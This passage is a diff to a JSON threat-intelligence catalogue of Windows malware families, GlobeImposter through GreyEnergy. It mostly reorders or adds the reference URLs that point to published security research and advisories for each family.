"https://www.govcert.ch/downloads/whitepapers/Unflattening-ConfuserEx-Code-in-IDA.pdf" ], "synonyms": [], "type": [] @@ -22601,25 +23696,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter", - "https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/", + "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.emsisoft.com/ransomware-decryption-tools/globeimposter", - "https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Ransomware_whitepaper_eng.pdf", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Ransomware_whitepaper_eng.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run", - "https://asec.ahnlab.com/ko/30284/", + "https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/", "https://isc.sans.edu/diary/23417", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://blog.ensilo.com/globeimposter-ransomware-technical", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet" + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://asec.ahnlab.com/ko/30284/" ], "synonyms": [ "Fake Globe" @@ -22660,27 +23755,29 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba", "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", - "https://habr.com/ru/company/solarsecurity/blog/578900/", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", "https://community.riskiq.com/article/2a36a7d2/description", + "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", + "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", + "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", + "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", + "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", + "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", + "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", "https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf", "http://resources.infosecinstitute.com/tdss4-part-1/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/", - "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", - "https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html", - "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", - "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", - "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", - "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", - "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", - "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", - "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", - "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", - "https://labs.k7computing.com/?p=22319", + "https://habr.com/ru/company/solarsecurity/blog/578900/", + "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html", "https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/", - "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html" + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/", + "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "https://labs.k7computing.com/?p=22319", + "https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&utm_medium=twitter", + "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf" ], "synonyms": [], "type": [] @@ -22707,8 +23804,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gocryptolocker", "https://id-ransomware.blogspot.com/2020/04/gocryptolocker-ransomware.html", - "https://twitter.com/GrujaRS/status/1254657823478353920", - "https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go" + "https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go", + "https://twitter.com/GrujaRS/status/1254657823478353920" ], "synonyms": [], "type": [] @@ -22721,9 +23818,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.godlike12", - "https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/", "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/" + "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", + "https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/" ], "synonyms": [ "GOSLU" @@ -22738,8 +23835,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.godoh", - "https://sensepost.com/blog/2018/waiting-for-godoh/", - "https://github.com/sensepost/goDoH" + "https://github.com/sensepost/goDoH", + "https://sensepost.com/blog/2018/waiting-for-godoh/" ], "synonyms": [], "type": [] @@ -22808,8 +23905,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/" + "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/", + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/" ], "synonyms": [ "Petya/Mischa" @@ -22839,14 +23936,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy", "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf", + "https://www.ic3.gov/Media/News/2020/201103-1.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", - "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf", - "https://www.ic3.gov/media/news/2020/200728.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/", + "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/", - "https://www.ic3.gov/Media/News/2020/201103-1.pdf" + "https://www.ic3.gov/media/news/2020/200728.pdf", + "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf" ], "synonyms": [], "type": [] @@ -22860,14 +23957,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", - "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://securelist.com/extracting-type-information-from-go-binaries/104715/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a" + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" ], "synonyms": [ "SUNSHUTTLE" @@ -22882,11 +23979,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon", - "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://www.youtube.com/watch?v=rfzmHjZX70s", "https://asec.ahnlab.com/en/31089/", - "https://www.youtube.com/watch?v=rfzmHjZX70s" + "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html" ], "synonyms": [ "Lovexxx" @@ -22909,13 +24006,26 @@ "uuid": "9cd98c61-0dfa-4af6-b334-65eb43bc8d9d", "value": "Golroted" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gomet", + "https://blog.talosintelligence.com/2022/07/attackers-target-ukraine-using-gomet.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "020a84b4-d717-48e6-9333-07c55523bc57", + "value": "GoMet" + }, { "description": "Gomorrah is a stealer with no or little obfuscation that appeared around March 2020. It is sold for about 150$ lifetime for v4 (originally 400$ for v3) or 100$ per month by its developer called \"th3darkly / lucifer\" (which is also the developer of CosaNostra botnet). The malware's main functionalities are stealing (passwords, cryptocurrency wallets) and loading of tasks and other payloads.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer", - "https://twitter.com/vxunderground/status/1469713783308357633", - "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April" + "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April", + "https://twitter.com/vxunderground/status/1469713783308357633" ], "synonyms": [], "type": [] @@ -22971,39 +24081,40 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit", - "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", - "https://dannyquist.github.io/gootkit-reversing-ghidra/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", - "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", - "https://www.certego.net/en/news/malware-tales-gootkit/", - "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", - "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728", - "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", - "https://securelist.com/gootkit-the-cautious-trojan/102731/", - "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", - "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", "https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md", - "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://www.certego.net/en/news/malware-tales-gootkit/", "https://www.youtube.com/watch?v=242Tn0IL2jE", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", - "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", - "https://news.drweb.com/show/?i=4338&lng=en", - "https://www.youtube.com/watch?v=QgUlPvEE4aw", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", - "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", - "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/", - "https://twitter.com/MsftSecIntel/status/1366542130731094021", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://twitter.com/jhencinski/status/1464268732096815105", + "https://dannyquist.github.io/gootkit-reversing-ghidra/", "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", "https://www.us-cert.gov/ncas/alerts/TA16-336A", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", + "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", + "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", + "https://www.youtube.com/watch?v=QgUlPvEE4aw", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", + "https://securelist.com/gootkit-the-cautious-trojan/102731/", + "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728", + "https://news.drweb.com/show/?i=4338&lng=en", + "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", + "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", + "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", + "https://twitter.com/jhencinski/status/1464268732096815105", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", + "https://twitter.com/MsftSecIntel/status/1366542130731094021", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", + "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md", + "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/", "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055" ], "synonyms": [ @@ -23021,8 +24132,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe", - "https://www.proofpoint.com/us/threat-insight/post/dyre-malware-campaigners-innovate-distribution-techniques", - "https://github.com/strictlymike/presentations/tree/master/2020/2020.02.08_BSidesHuntsville" + "https://github.com/strictlymike/presentations/tree/master/2020/2020.02.08_BSidesHuntsville", + "https://www.proofpoint.com/us/threat-insight/post/dyre-malware-campaigners-innovate-distribution-techniques" ], "synonyms": [], "type": [] @@ -23061,23 +24172,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", - "https://www.secureworks.com/research/gozi", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.youtube.com/watch?v=BcFbkjUVc7o", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://github.com/mlodic/ursnif_beacon_decryptor", "https://lokalhost.pl/gozi_tree.txt", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.youtube.com/watch?v=BcFbkjUVc7o", - "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/" + "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/", + "https://www.secureworks.com/research/gozi", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" ], "synonyms": [ "CRM", @@ -23096,10 +24207,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode", - "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html", + "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2", "http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/", "https://de.securelist.com/analysis/59479/erpresser/", - "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2" + "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html" ], "synonyms": [], "type": [] @@ -23138,10 +24249,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage" + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html" ], "synonyms": [ "Small Sieve" @@ -23156,13 +24267,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season", + "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", + "https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals", + "https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://blueliv.com/resources/reports/MiniReport-Blueliv-Bancos-ESP-LAT.pdf", "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks", - "https://blueliv.com/resources/reports/MiniReport-Blueliv-Bancos-ESP-LAT.pdf", - "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853" + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/" ], "synonyms": [], "type": [] @@ -23214,12 +24327,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel", - "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", - "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", - "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://cert.gov.ua/article/38374" + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://cert.gov.ua/article/38374", + "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", + "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", + "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/" ], "synonyms": [], "type": [] @@ -23232,16 +24349,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season", - "https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", - "https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html", - "http://www.secureworks.com/research/threat-profiles/gold-franklin" + "https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/", + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season" ], "synonyms": [ "FrameworkPOS", @@ -23270,10 +24387,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://securelist.com/gravityrat-the-spy-returns/99097/", "https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/", - "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + "https://securelist.com/gravityrat-the-spy-returns/99097/", + "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/" ], "synonyms": [], "type": [] @@ -23314,14 +24431,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy", - "https://www.eset.com/int/greyenergy-exposed/", - "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", "https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/", - "https://github.com/NozomiNetworks/greyenergy-unpacker" + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", + "https://attack.mitre.org/groups/G0034", + 